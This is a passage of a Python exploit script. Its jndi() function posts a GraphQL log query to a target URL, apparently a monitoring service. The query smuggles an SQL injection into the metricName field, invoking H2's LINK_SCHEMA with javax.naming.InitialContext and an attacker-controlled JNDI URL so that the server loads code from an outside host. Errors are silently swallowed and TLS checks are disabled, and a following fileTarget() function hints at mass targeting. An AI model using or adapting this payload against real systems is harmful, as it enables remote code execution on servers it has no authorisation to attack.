| 38 | |
| 39 | |
| 40 | def jndi(burp0_url): |
| 41 | burp0_json = { |
| 42 | "query": "query queryLogs($condition: LogQueryCondition) {\r\n logs: queryLogs(condition: $condition) {\r\n data: logs {\r\n serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content\r\n }\r\n total\r\n }\r\n }", |
| 43 | "variables": {"condition": {"endpointId": "1", |
| 44 | "metricName": "INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','javax.naming.InitialContext','"+JndiUrl+"','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --", |
| 45 | "paging": {"needTotal": True, "pageNum": 1, "pageSize": 1}, "state": "ALL", |
| 46 | "stateCode": "1", "traceId": "1"}}} |
| 47 | try: |
| 48 | requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False, allow_redirects=False, timeout=2) |
| 49 | except: |
| 50 | pass |
| 51 | |
| 52 | |
| 53 | def fileTarget(file): |